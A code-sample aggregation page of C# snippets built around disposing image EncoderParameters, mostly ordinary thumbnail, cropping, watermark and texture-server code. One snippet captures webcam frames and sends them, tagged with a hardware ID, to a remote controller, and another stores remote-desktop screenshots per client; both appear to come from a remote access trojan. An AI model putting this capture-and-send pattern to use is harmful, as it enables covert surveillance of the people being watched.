示例#1
0
 protected virtual void Dispose(bool disposing)
 {
     if (disposing)
     {
         _encoderParams?.Dispose();
     }
 }
示例#2
0
        private static void CaptureRun(object sender, NewFrameEventArgs e)
        {
            try
            {
                if (Connection.IsConnected)
                {
                    if (IsOk == true)
                    {
                        Bitmap image = (Bitmap)e.Frame.Clone();
                        using (Camstream = new MemoryStream())
                        {
                            System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
                            EncoderParameters myEncoderParameters    = new EncoderParameters(1);
                            EncoderParameter  myEncoderParameter     = new EncoderParameter(myEncoder, Quality);
                            myEncoderParameters.Param[0] = myEncoderParameter;
                            ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
                            image.Save(Camstream, jpgEncoder, myEncoderParameters);
                            myEncoderParameters?.Dispose();
                            myEncoderParameter?.Dispose();
                            image?.Dispose();

                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString  = "webcam";
                            msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
                            msgpack.ForcePathObject("Command").AsString = "capture";
                            msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
                            Connection.Send(msgpack.Encode2Bytes());
                            Thread.Sleep(1);
                        }
                    }
                }
                else
                {
                    new Thread(() =>
                    {
                        try
                        {
                            CaptureDispose();
                            Connection.Disconnected();
                        }
                        catch { }
                    }).Start();
                }
            }
            catch (Exception ex)
            {
                new Thread(() =>
                {
                    try
                    {
                        CaptureDispose();
                        Connection.Disconnected();
                    }
                    catch { }
                }).Start();
                Debug.WriteLine("CaptureRun: " + ex.Message);
            }
        }
示例#3
0
        /// <summary>
        /// Add optional <see cref="EncoderParameter"/>s to a <see cref="EncoderParameters"/> collection.
        /// </summary>
        /// <param name="value">An <see cref="EncoderParameters"/> collection</param>
        /// <param name="compression">The algorithm used for compressing the image</param>
        /// <param name="quality">Expressed as a percentage, with 100 being original image quality</param>
        /// <param name="colorDepth">Colour range in bits per pixel</param>
        /// <param name="transform">A TransformFlip or TransformRotate <see cref="EncoderValue"/></param>
        /// <param name="frame">Specifies that the image has more than one frame (page). Can be passed to the TIFF encoder</param>
        /// <returns>A <see cref="EncoderParameters"/> collection containing the specified <see cref="EncoderParameter"/>s</returns>
        public static EncoderParameters AddParams(this EncoderParameters value, EncoderValue?compression = null, long?quality = null, long?colorDepth = null, EncoderValue?transform = null, EncoderValue?frame = null)
        {
            if (quality < 0 || quality > 100)
            {
                throw new ArgumentOutOfRangeException(nameof(quality), quality.Value, $"{nameof(quality)} is a percentage and must be between 0 and 100");
            }
            if (colorDepth <= 0 || colorDepth > 48)
            {
                throw new ArgumentOutOfRangeException(nameof(colorDepth), colorDepth.Value, $"{nameof(colorDepth)} out of range");
            }

            // Replace existing values in the paramter list if they already exist
            // Otherwise just add them to the collection
            var encoderParams = value.Param.Where(e => e != null).ToList();

            if (compression != null)
            {
                encoderParams.AddOrUpdate(new EncoderParameter(Encoder.Compression, (long)compression));
            }
            if (quality != null)
            {
                encoderParams.AddOrUpdate(new EncoderParameter(Encoder.Quality, (long)quality));
            }
            if (colorDepth != null)
            {
                encoderParams.AddOrUpdate(new EncoderParameter(Encoder.ColorDepth, (long)colorDepth));
            }
            if (transform != null)
            {
                encoderParams.AddOrUpdate(new EncoderParameter(Encoder.Transformation, (long)transform));
            }
            if (frame != null)
            {
                encoderParams.AddOrUpdate(new EncoderParameter(Encoder.SaveFlag, (long)frame));
            }

            // Unfortunately the parameters can't be appended to the original collection directly
            // Create a new collection now that we know the total array size
            var paramCollection = new EncoderParameters(encoderParams.Count);

            for (int i = 0; i < encoderParams.Count; i++)
            {
                paramCollection.Param[i] = encoderParams[i];
            }

            // Clear up the original collection
            value?.Dispose();

            return(paramCollection);
        }
示例#4
0
 private void TimerSave_Tick(object sender, EventArgs e)
 {
     try
     {
         if (!Directory.Exists(FullPath))
         {
             Directory.CreateDirectory(FullPath);
         }
         Encoder           myEncoder           = Encoder.Quality;
         EncoderParameters myEncoderParameters = new EncoderParameters(1);
         EncoderParameter  myEncoderParameter  = new EncoderParameter(myEncoder, 50L);
         myEncoderParameters.Param[0] = myEncoderParameter;
         ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
         pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
         myEncoderParameters?.Dispose();
         myEncoderParameter?.Dispose();
     }
     catch { }
 }
示例#5
0
        /// <summary>
        /// Returns an instance of EncodingParameters for jpeg compression.
        /// </summary>
        /// <param name="quality">The quality to return the image at.</param>
        /// <returns>The encodingParameters for jpeg compression. </returns>
        public static EncoderParameters GetEncodingParameters(int quality)
        {
            EncoderParameters encoderParameters = null;

            try
            {
                // Create a series of encoder parameters.
                encoderParameters = new EncoderParameters(1)
                {
                    // Set the quality.
                    Param = { [0] = new EncoderParameter(Encoder.Quality, quality) }
                };
            }
            catch
            {
                encoderParameters?.Dispose();
            }

            return(encoderParameters);
        }
示例#6
0
 private void TimerSave_Tick(object sender, EventArgs e)
 {
     try
     {
         string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
         if (!Directory.Exists(fullPath))
         {
             Directory.CreateDirectory(fullPath);
         }
         Encoder           myEncoder           = Encoder.Quality;
         EncoderParameters myEncoderParameters = new EncoderParameters(1);
         EncoderParameter  myEncoderParameter  = new EncoderParameter(myEncoder, 50L);
         myEncoderParameters.Param[0] = myEncoderParameter;
         ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
         pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
         myEncoderParameters?.Dispose();
         myEncoderParameter?.Dispose();
     }
     catch { }
 }
示例#7
0
        public static Bitmap CutForSquare(Bitmap B, int size, int quality)   //把图片裁剪成正方形并缩放
        {
            Bitmap transfer;

            //原始图片(获取原始图片创建对象,并使用流中嵌入的颜色管理信息)
            Image initImage = B;

            //原图宽高均小于模版,不作处理,直接保存
            if (initImage.Width <= size && initImage.Height <= size)
            {
                return(B);
            }
            else
            {
                //原始图片的宽、高
                int initWidth  = initImage.Width;
                int initHeight = initImage.Height;

                //非正方型先裁剪为正方型
                if (initWidth != initHeight)
                {
                    //截图对象
                    Image    pickedImage = null;
                    Graphics pickedG     = null;

                    //宽大于高的横图
                    if (initWidth > initHeight)
                    {
                        //对象实例化
                        pickedImage = new Bitmap(initHeight, initHeight);
                        pickedG     = Graphics.FromImage(pickedImage);
                        //设置质量
                        pickedG.InterpolationMode = InterpolationMode.HighQualityBicubic;
                        pickedG.SmoothingMode     = SmoothingMode.HighQuality;
                        //定位
                        Rectangle fromR = new Rectangle((initWidth - initHeight) / 2, 0, initHeight, initHeight);
                        Rectangle toR   = new Rectangle(0, 0, initHeight, initHeight);
                        //画图
                        pickedG.DrawImage(initImage, toR, fromR, GraphicsUnit.Pixel);
                        //重置宽
                        initWidth = initHeight;
                    }
                    //高大于宽的竖图
                    else
                    {
                        //对象实例化
                        pickedImage = new Bitmap(initWidth, initWidth);
                        pickedG     = Graphics.FromImage(pickedImage);
                        //设置质量
                        pickedG.InterpolationMode = InterpolationMode.HighQualityBicubic;
                        pickedG.SmoothingMode     = SmoothingMode.HighQuality;
                        //定位
                        Rectangle fromR = new Rectangle(0, (initHeight - initWidth) / 2, initWidth, initWidth);
                        Rectangle toR   = new Rectangle(0, 0, initWidth, initWidth);
                        //画图
                        pickedG.DrawImage(initImage, toR, fromR, GraphicsUnit.Pixel);
                        //重置高
                        initHeight = initWidth;
                    }

                    //将截图对象赋给原图
                    initImage = (Image)pickedImage.Clone();
                    //释放截图资源
                    pickedG.Dispose();
                    pickedImage.Dispose();
                }

                //缩略图对象
                System.Drawing.Image    resultImage = new Bitmap(size, size);
                System.Drawing.Graphics resultG     = Graphics.FromImage(resultImage);
                //设置质量
                resultG.InterpolationMode = InterpolationMode.HighQualityBicubic;
                resultG.SmoothingMode     = SmoothingMode.HighQuality;
                //用指定背景色清空画布
                resultG.Clear(Color.White);
                //绘制缩略图
                resultG.DrawImage(initImage, new Rectangle(0, 0, size, size), new Rectangle(0, 0, initWidth, initHeight), GraphicsUnit.Pixel);

                //关键质量控制
                //获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff
                ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders();
                ImageCodecInfo   ici  = null;
                foreach (ImageCodecInfo i in icis)
                {
                    if (i.MimeType == "image/jpeg" || i.MimeType == "image/bmp" || i.MimeType == "image/png" || i.MimeType == "image/gif")
                    {
                        ici = i;
                    }
                }
                EncoderParameters ep = new EncoderParameters(1);
                ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality);

                transfer = new Bitmap((Bitmap)resultImage);

                //释放关键质量控制所用资源
                ep.Dispose();

                //释放缩略图资源
                resultG.Dispose();
                resultImage.Dispose();

                //释放原始图片资源
                initImage.Dispose();
                return(transfer);
            }
        }
示例#8
0
        public static void AddWaterMarkLogo(string path, string filepath)
        {
            Image image  = System.Drawing.Image.FromFile(HttpContext.Current.Server.MapPath(path));
            int   width  = image.Width;
            int   height = image.Height;

            Image bitmapImg = new Bitmap(width, height, image.PixelFormat);

            if (image.PixelFormat.ToString().Contains("Indexed"))
            {
                bitmapImg = new Bitmap(width, height, PixelFormat.Format24bppRgb);
            }
            PropertyItem[] propertyitems = image.PropertyItems;

            foreach (var item in propertyitems)
            {
                bitmapImg.SetPropertyItem(image.GetPropertyItem(item.Id));
            }

            Graphics oGraphics = Graphics.FromImage(bitmapImg);

            oGraphics.CompositingQuality = CompositingQuality.HighQuality;
            oGraphics.SmoothingMode      = SmoothingMode.HighQuality;
            oGraphics.InterpolationMode  = InterpolationMode.HighQualityBicubic;
            oGraphics.PixelOffsetMode    = PixelOffsetMode.HighQuality;

            Rectangle oRectanlge = new Rectangle(0, 0, width, height);

            oGraphics.DrawImage(image, oRectanlge);

            int xpoint = 0;
            int ypoint = 0;

            Image watermarkImage = Image.FromFile(HttpContext.Current.Server.MapPath("~/Content/logo/watermark-logo.png"));

            WaterMarkPosition(oGraphics.DpiX, oGraphics.DpiY, width, height, watermarkImage, out xpoint, out ypoint);

            oGraphics.DrawImageUnscaled(watermarkImage, xpoint, ypoint);
            oGraphics.Dispose();
            watermarkImage.Dispose();

            long[] quality = new long[1];
            quality[0] = 80;//compression level
            EncoderParameters encoderParamerters = new EncoderParameters();
            EncoderParameter  encoderParam       = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);

            encoderParamerters.Param[0] = encoderParam;

            ImageCodecInfo[] arrayICI = ImageCodecInfo.GetImageEncoders();
            ImageCodecInfo   jpegICI  = null;

            for (int i = 0; i < arrayICI.Length; i++)
            {
                if (arrayICI[i].FormatDescription.Equals("JPEG"))
                {
                    jpegICI = arrayICI[i];
                    break;
                }
            }
            bitmapImg.Save(HttpContext.Current.Server.MapPath(filepath), bitmapImg.RawFormat);
            encoderParamerters.Dispose();
            //Save
        }
示例#9
0
        byte [] ProcessGetTexture(string path, Stream request, OSHttpRequest httpRequest,
                                  OSHttpResponse httpResponse)
        {
            //MainConsole.Instance.DebugFormat("[GETTEXTURE]: called in {0}", m_scene.RegionInfo.RegionName);

            // Try to parse the texture ID from the request URL
            NameValueCollection query = HttpUtility.ParseQueryString(httpRequest.Url.Query);
            string textureStr         = query.GetOne("texture_id");
            string format             = query.GetOne("format");

            if (m_assetService == null)
            {
                httpResponse.StatusCode = (int)System.Net.HttpStatusCode.NotFound;
                return(MainServer.BlankResponse);
            }

            UUID textureID;

            if (!string.IsNullOrEmpty(textureStr) && UUID.TryParse(textureStr, out textureID))
            {
                string [] formats;
                if (!string.IsNullOrEmpty(format))
                {
                    formats = new [] { format.ToLower() }
                }
                ;
                else
                {
                    formats = WebUtils.GetPreferredImageTypes(httpRequest.Headers.Get("Accept"));
                    if (formats.Length == 0)
                    {
                        formats = new [] { DefaultFormat }
                    }
                    ;                                       // default
                }

                // OK, we have an array with preferred formats, possibly with only one entry
                byte [] response;
                foreach (string f in formats)
                {
                    if (FetchTexture(httpRequest, httpResponse, textureID, f, out response))
                    {
                        return(response);
                    }
                }
            }

            // null or invalid UUID
            MainConsole.Instance.Warn("[AssetCAPS]: Failed to parse a texture_id from GetTexture request: " +
                                      httpRequest.Url);
            httpResponse.StatusCode = (int)System.Net.HttpStatusCode.NotFound;
            return(MainServer.BlankResponse);
        }

        /// <summary>
        /// </summary>
        /// <param name="httpRequest"></param>
        /// <param name="httpResponse"></param>
        /// <param name="textureID"></param>
        /// <param name="format"></param>
        /// <param name="response"></param>
        /// <returns>False for "caller try another codec"; true otherwise</returns>
        bool FetchTexture(OSHttpRequest httpRequest, OSHttpResponse httpResponse, UUID textureID, string format,
                          out byte [] response)
        {
            //MainConsole.Instance.DebugFormat("[GETTEXTURE]: {0} with requested format {1}", textureID, format);
            AssetBase texture;

            string fullID = textureID.ToString();

            if (format != DefaultFormat)
            {
                fullID = fullID + "-" + format;
            }

            if (!string.IsNullOrEmpty(REDIRECT_URL))
            {
                // Only try to fetch locally cached textures. Misses are redirected
                texture = m_assetService.GetCached(fullID);

                if (texture != null)
                {
                    if (texture.Type != (sbyte)AssetType.Texture &&        // not actually a texture
                        texture.Type != (sbyte)AssetType.Unknown &&        // .. but valid
                        texture.Type != (sbyte)AssetType.Simstate)
                    {
                        httpResponse.StatusCode = (int)System.Net.HttpStatusCode.NotFound;
                        response = MainServer.BlankResponse;
                        return(true);
                    }

                    response = WriteTextureData(httpRequest, httpResponse, texture, format);
                    return(true);
                }
                else
                {
                    string textureUrl = REDIRECT_URL + textureID;
                    MainConsole.Instance.Debug("[AssetCAPS]: Redirecting texture request to " + textureUrl);
                    httpResponse.RedirectLocation = textureUrl;
                    response = MainServer.BlankResponse;
                    return(true);
                }
            }

            // no redirect
            // try the cache
            texture = m_assetService.GetCached(fullID);

            if (texture == null)
            {
                //MainConsole.Instance.DebugFormat("[GETTEXTURE]: texture was not in the cache");

                // Fetch locally or remotely. Misses return a 404
                texture = m_assetService.Get(textureID.ToString());

                if (texture != null)
                {
                    if (texture.Type != (sbyte)AssetType.Texture &&
                        texture.Type != (sbyte)AssetType.Unknown &&
                        texture.Type != (sbyte)AssetType.Simstate)
                    {
                        httpResponse.StatusCode = (int)System.Net.HttpStatusCode.NotFound;
                        response = MainServer.BlankResponse;
                        texture.Dispose();
                        return(true);
                    }

                    if (format == DefaultFormat)
                    {
                        try {
                            response = WriteTextureData(httpRequest, httpResponse, texture, format);
                        } catch {
                            response = MainServer.BlankResponse;
                        }
                        texture.Dispose();
                        return(true);
                    }

                    AssetBase newTexture = new AssetBase(texture.ID + "-" + format, texture.Name, AssetType.Texture,
                                                         texture.CreatorID)
                    {
                        Data = ConvertTextureData(texture, format)
                    };

                    if (newTexture.Data.Length == 0)            // unable to convert
                    {
                        response = MainServer.BlankResponse;
                        texture.Dispose();
                        newTexture.Dispose();
                        return(false); // !!! Caller try another codec, please!
                    }

                    newTexture.Flags = AssetFlags.Collectable | AssetFlags.Temporary;
                    newTexture.ID    = m_assetService.Store(newTexture);
                    try {
                        response = WriteTextureData(httpRequest, httpResponse, newTexture, format);
                    } catch {
                        response = MainServer.BlankResponse;
                    }
                    newTexture.Dispose();
                    texture.Dispose();

                    return(true);
                }

                // nothing found... replace with the 'missing_texture" texture
                // try the cache first
                texture = m_assetService.GetCached(Constants.MISSING_TEXTURE_ID);

                if (texture == null)
                {
                    texture = m_assetService.Get(Constants.MISSING_TEXTURE_ID);                 // not in local cache...
                }
                if (texture != null)
                {
                    if (format == DefaultFormat)
                    {
                        MainConsole.Instance.Debug("[AssetCAPS]: Texture " + textureID + " replaced with default 'missing' texture");
                        response = WriteTextureData(httpRequest, httpResponse, texture, format);
                        texture.Dispose();
                        return(true);
                    }
                }

                // texture not found and we have no 'missing texture'??
                // ... or if all else fails...
                MainConsole.Instance.Warn("[AssetCAPS]: Texture " + textureID + " not found (no default)");
                httpResponse.StatusCode = (int)System.Net.HttpStatusCode.NotFound;
                response = MainServer.BlankResponse;
                return(true);
            }

            // found the texture in the cache
            if (texture.Type != (sbyte)AssetType.Texture &&
                texture.Type != (sbyte)AssetType.Unknown &&
                texture.Type != (sbyte)AssetType.Simstate)
            {
                httpResponse.StatusCode = (int)System.Net.HttpStatusCode.NotFound;
                response = MainServer.BlankResponse;
                return(true);
            }

            // the best result...
            //MainConsole.Instance.DebugFormat("[GETTEXTURE]: texture was in the cache");
            response = WriteTextureData(httpRequest, httpResponse, texture, format);
            return(true);
        }

        byte [] WriteTextureData(OSHttpRequest request, OSHttpResponse response, AssetBase texture, string format)
        {
            string range = request.Headers.GetOne("Range");

            //MainConsole.Instance.DebugFormat("[GETTEXTURE]: Range {0}", range);
            if (!string.IsNullOrEmpty(range))  // JP2's only
            {
                // Range request
                int start, end;
                if (TryParseRange(range, out start, out end))
                {
                    // Before clamping start make sure we can satisfy it in order to avoid
                    // sending back the last byte instead of an error status
                    if (start >= texture.Data.Length)
                    {
                        response.StatusCode = (int)System.Net.HttpStatusCode.RequestedRangeNotSatisfiable;
                        return(MainServer.BlankResponse);
                    }
                    else
                    {
                        // Handle the case where portions of the range are missing.
                        if (start == -1)
                        {
                            start = 0;
                        }
                        if (end == -1)
                        {
                            end = int.MaxValue;
                        }

                        end   = Utils.Clamp(end, 0, texture.Data.Length - 1);
                        start = Utils.Clamp(start, 0, end);
                        int len = end - start + 1;

                        //MainConsole.Instance.Debug("Serving " + start + " to " + end + " of " + texture.Data.Length + " bytes for texture " + texture.ID);

                        if (len < texture.Data.Length)
                        {
                            response.StatusCode = (int)System.Net.HttpStatusCode.PartialContent;
                        }
                        else
                        {
                            response.StatusCode = (int)System.Net.HttpStatusCode.OK;
                        }

                        response.ContentType = texture.TypeString;
                        response.AddHeader("Content-Range",
                                           string.Format("bytes {0}-{1}/{2}", start, end, texture.Data.Length));
                        byte [] array = new byte [len];
                        Array.Copy(texture.Data, start, array, 0, len);
                        return(array);
                    }
                }

                MainConsole.Instance.Warn("[AssetCAPS]: Malformed Range header: " + range);
                response.StatusCode = (int)System.Net.HttpStatusCode.BadRequest;
                return(MainServer.BlankResponse);
            }

            // Full content request
            response.StatusCode  = (int)System.Net.HttpStatusCode.OK;
            response.ContentType = texture.TypeString;
            if (format == DefaultFormat)
            {
                response.ContentType = texture.TypeString;
            }
            else
            {
                response.ContentType = "image/" + format;
            }
            return(texture.Data);
        }

        /*
         * <summary>
         * Parse a range header.
         * </summary>
         * <remarks>
         * As per http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html,
         * this obeys range headers with two values (e.g. 533-4165) and no second value (e.g. 533-).
         * Where there is no value, -1 is returned. Also handles a range like (-4165) where -1 is
         * returned for the starting value.</remarks>
         * <returns></returns>
         * <param name='header'></param>
         * <param name='start'>Undefined if the parse fails.</param>
         * <param name='end'>Undefined if the parse fails.</param>
         */
        bool TryParseRange(string header, out int start, out int end)
        {
            start = end = -1;
            if (!header.StartsWith("bytes=", StringComparison.Ordinal))
            {
                return(false);
            }

            string [] rangeValues = header.Substring(6).Split('-');
            if (rangeValues.Length != 2)
            {
                return(false);
            }

            if (rangeValues [0] != "")
            {
                if (!int.TryParse(rangeValues [0], out start))
                {
                    return(false);
                }
            }

            if (rangeValues [1] != "")
            {
                if (!int.TryParse(rangeValues [1], out end))
                {
                    return(false);
                }
            }

            return(true);
        }

        byte [] ConvertTextureData(AssetBase texture, string format)
        {
            MainConsole.Instance.DebugFormat("[AssetCAPS]: Converting texture {0} to {1}", texture.ID, format);
            byte [] data = new byte [0];

            MemoryStream imgstream = new MemoryStream();
            Image        image     = null;

            try {
                // Taking our jpeg2000 data, decoding it, then saving it to a byte array with regular data
                image = m_j2kDecoder.DecodeToImage(texture.Data);
                if (image == null)
                {
                    return(data);
                }
                // Save to bitmap
                image = new Bitmap(image);

                EncoderParameters myEncoderParameters = new EncoderParameters();
                myEncoderParameters.Param [0] = new EncoderParameter(Encoder.Quality, 95L);

                // Save bitmap to stream
                try {
                    ImageCodecInfo codec = GetEncoderInfo("image/" + format);

                    if (codec != null)
                    {
                        image.Save(imgstream, codec, myEncoderParameters);
                        // Write the stream to a byte array for output
                        data = imgstream.ToArray();
                    }
                    else
                    {
                        MainConsole.Instance.WarnFormat("[AssetCAPS]: No such codec {0}", format);
                    }
                } catch {
                    MainConsole.Instance.ErrorFormat("[AssetCAPS]: Unable to retrieve codec {0}", format);
                }
                myEncoderParameters.Dispose();
            } catch (Exception e) {
                MainConsole.Instance.WarnFormat("[AssetCAPS]: Unable to convert texture {0} to {1}: {2}", texture.ID,
                                                format, e.Message);
            } finally {
                // Reclaim memory, these are unmanaged resources
                // If we encountered an exception, one or more of these will be null

                if (image != null)
                {
                    image.Dispose();
                }

                imgstream.Close();
            }

            return(data);
        }
示例#10
0
        /// <summary>
        /// 生成缩略图或质量压缩
        /// </summary>
        /// <param name="sourcePath">源图路径(物理路径)</param>
        /// <param name="targetPath">缩略图路径(物理路径)</param>
        /// <param name="width">缩略图宽度,如果宽度为0则不缩略</param>
        /// <param name="height">缩略图高度,如果高度为0则不缩略</param>
        /// <param name="mode">生成缩略图的方式,默认为空,为空则不缩略高宽[HW 指定高宽缩放(不变形);W 指定宽,高按比例;H 指定高,宽按比例;CUT 指定高宽裁减(不变形)]</param>
        /// <param name="flag">压缩质量(数字越小压缩率越高)1-100</param>
        /// <param name="size">压缩后图片的最大大小,0为不限制大小</param>
        public static void MakeThumbnail(string sourcePath, string targetPath, int width = 0, int height = 0, string mode = "", int flag = 100, int size = 0)
        {
            Image             sourceImage = null;
            Image             bitmap      = null;
            Graphics          g           = null;
            EncoderParameters ep          = null;
            EncoderParameter  eParam      = null;

            try
            {
                sourceImage = Image.FromFile(sourcePath);

                int toWidth = 0;
                if (width > 0)
                {
                    toWidth = width;
                }
                else
                {
                    toWidth = sourceImage.Width;
                }

                int toHeight = 0;
                if (height > 0)
                {
                    toHeight = height;
                }
                else
                {
                    toHeight = sourceImage.Height;
                }

                int x  = 0;
                int y  = 0;
                int ow = sourceImage.Width;
                int oh = sourceImage.Height;

                if (width > 0 && height > 0 && !string.IsNullOrWhiteSpace(mode))
                {
                    switch (mode.ToUpper())
                    {
                    case "HW":    //指定高宽缩放(不变形)
                        int tempheight = sourceImage.Height * width / sourceImage.Width;
                        if (tempheight > height)
                        {
                            toWidth = sourceImage.Width * height / sourceImage.Height;
                        }
                        else
                        {
                            toHeight = sourceImage.Height * width / sourceImage.Width;
                        }
                        break;

                    case "W":    //指定宽,高按比例
                        toHeight = sourceImage.Height * width / sourceImage.Width;
                        break;

                    case "H":    //指定高,宽按比例
                        toWidth = sourceImage.Width * height / sourceImage.Height;
                        break;

                    case "CUT":    //指定高宽裁减(不变形)
                        if ((double)sourceImage.Width / (double)sourceImage.Height > (double)toWidth / (double)toHeight)
                        {
                            oh = sourceImage.Height;
                            ow = sourceImage.Height * toWidth / toHeight;
                            y  = 0;
                            x  = (sourceImage.Width - ow) / 2;
                        }
                        else
                        {
                            ow = sourceImage.Width;
                            oh = sourceImage.Width * height / toWidth;
                            x  = 0;
                            y  = (sourceImage.Height - oh) / 2;
                        }
                        break;
                    }
                }

                //新建一个bmp图片
                bitmap = new Bitmap(toWidth, toHeight);

                //新建一个画板
                g = Graphics.FromImage(bitmap);

                g.CompositingQuality = CompositingQuality.HighQuality;

                //设置高质量插值法
                g.InterpolationMode = InterpolationMode.HighQualityBicubic;

                //设置高质量,低速度呈现平滑程度
                g.SmoothingMode = SmoothingMode.HighQuality;

                //清空画布并以透明背景色填充
                g.Clear(Color.Transparent);

                //在指定位置并且按指定大小绘制原图片的指定部分
                g.DrawImage(sourceImage, new Rectangle(0, 0, toWidth, toHeight),
                            new Rectangle(x, y, ow, oh),
                            GraphicsUnit.Pixel);

                //以下代码为保存图片时,设置压缩质量
                ep = new EncoderParameters();
                long[] qy = new long[1];
                qy[0]       = flag;//设置压缩的比例1-100
                eParam      = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, qy);
                ep.Param[0] = eParam;

                ImageCodecInfo[] arrayICI    = ImageCodecInfo.GetImageEncoders();//获取图像编码器的信息
                ImageCodecInfo   jpegICIinfo = null;
                for (int i = 0; i < arrayICI.Length; i++)
                {
                    if (arrayICI[i].FormatDescription.Equals("JPEG"))
                    {
                        jpegICIinfo = arrayICI[i];
                        break;
                    }
                }

                if (jpegICIinfo != null)
                {
                    bitmap.Save(targetPath, jpegICIinfo, ep);
                    FileInfo fiTarget = new FileInfo(targetPath);
                    if (size > 0 && fiTarget.Length > 1024 * size)
                    {
                        flag = flag - 10;
                        MakeThumbnail(sourcePath, targetPath, width, height, mode, flag, size);
                    }
                }
                else
                {
                    //以jpg格式保存缩略图
                    bitmap.Save(targetPath, ImageFormat.Jpeg);
                }
            }
            catch (System.Exception ex)
            {
                throw ex;
            }
            finally
            {
                if (sourceImage != null)
                {
                    sourceImage.Dispose();
                }
                if (bitmap != null)
                {
                    bitmap.Dispose();
                }
                if (g != null)
                {
                    g.Dispose();
                }
                if (ep != null)
                {
                    ep.Dispose();
                }
                if (eParam != null)
                {
                    eParam.Dispose();
                }
            }
        }
示例#11
0
    /// <summary>
    /// 正方型裁剪
    /// 以图片中心为轴心,截取正方型,然后等比缩放
    /// 用于头像处理
    /// </summary>
    /// <remarks>吴剑 2010-11-23</remarks>
    /// <param name="postedFile">原图HttpPostedFile对象</param>
    /// <param name="fileSaveUrl">缩略图存放地址</param>
    /// <param name="side">指定的边长(正方型)</param>
    /// <param name="quality">质量(范围0-100)</param>
    public static void CutForSquare(System.IO.Stream fromFile, string fileSaveUrl, int side, int quality)
    {
        //创建目录
        string dir = Path.GetDirectoryName(fileSaveUrl);
        if (!Directory.Exists(dir))
            Directory.CreateDirectory(dir);

        //原始图片(获取原始图片创建对象,并使用流中嵌入的颜色管理信息)
        System.Drawing.Image initImage = System.Drawing.Image.FromStream(fromFile, true);

        //原图宽高均小于模版,不作处理,直接保存
        if (initImage.Width <= side && initImage.Height <= side)
        {
            initImage.Save(fileSaveUrl, System.Drawing.Imaging.ImageFormat.Jpeg);
        }
        else
        {
            //原始图片的宽、高
            int initWidth = initImage.Width;
            int initHeight = initImage.Height;

            //非正方型先裁剪为正方型
            if (initWidth != initHeight)
            {
                //截图对象
                System.Drawing.Image pickedImage = null;
                System.Drawing.Graphics pickedG = null;

                //宽大于高的横图
                if (initWidth > initHeight)
                {
                    //对象实例化
                    pickedImage = new System.Drawing.Bitmap(initHeight, initHeight);
                    pickedG = System.Drawing.Graphics.FromImage(pickedImage);
                    //设置质量
                    pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
                    pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
                    //定位
                    Rectangle fromR = new Rectangle((initWidth - initHeight) / 2, 0, initHeight, initHeight);
                    Rectangle toR = new Rectangle(0, 0, initHeight, initHeight);
                    //画图
                    pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel);
                    //重置宽
                    initWidth = initHeight;
                }
                //高大于宽的竖图
                else
                {
                    //对象实例化
                    pickedImage = new System.Drawing.Bitmap(initWidth, initWidth);
                    pickedG = System.Drawing.Graphics.FromImage(pickedImage);
                    //设置质量
                    pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
                    pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
                    //定位
                    Rectangle fromR = new Rectangle(0, (initHeight - initWidth) / 2, initWidth, initWidth);
                    Rectangle toR = new Rectangle(0, 0, initWidth, initWidth);
                    //画图
                    pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel);
                    //重置高
                    initHeight = initWidth;
                }

                //将截图对象赋给原图
                initImage = (System.Drawing.Image)pickedImage.Clone();
                //释放截图资源
                pickedG.Dispose();
                pickedImage.Dispose();
            }

            //缩略图对象
            System.Drawing.Image resultImage = new System.Drawing.Bitmap(side, side);
            System.Drawing.Graphics resultG = System.Drawing.Graphics.FromImage(resultImage);
            //设置质量
            resultG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
            resultG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
            //用指定背景色清空画布
            resultG.Clear(Color.White);
            //绘制缩略图
            resultG.DrawImage(initImage, new System.Drawing.Rectangle(0, 0, side, side), new System.Drawing.Rectangle(0, 0, initWidth, initHeight), System.Drawing.GraphicsUnit.Pixel);

            //关键质量控制
            //获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff
            ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders();
            ImageCodecInfo ici = null;
            foreach (ImageCodecInfo i in icis)
            {
                if (i.MimeType == "image/jpeg" || i.MimeType == "image/bmp" || i.MimeType == "image/png" || i.MimeType == "image/gif")
                {
                    ici = i;
                }
            }
            EncoderParameters ep = new EncoderParameters(1);
            ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality);

            //保存缩略图
            resultImage.Save(fileSaveUrl, ici, ep);

            //释放关键质量控制所用资源
            ep.Dispose();

            //释放缩略图资源
            resultG.Dispose();
            resultImage.Dispose();

            //释放原始图片资源
            initImage.Dispose();
        }
    }
示例#12
0
        /// <summary><![CDATA[
        /// Resize an image on disk, constraining proportions
        /// (handles BMP, JPEG, GIF, TIFF, PNG); maintains
        /// transparency of PNG images. Filenames determine
        /// file types used automatically.
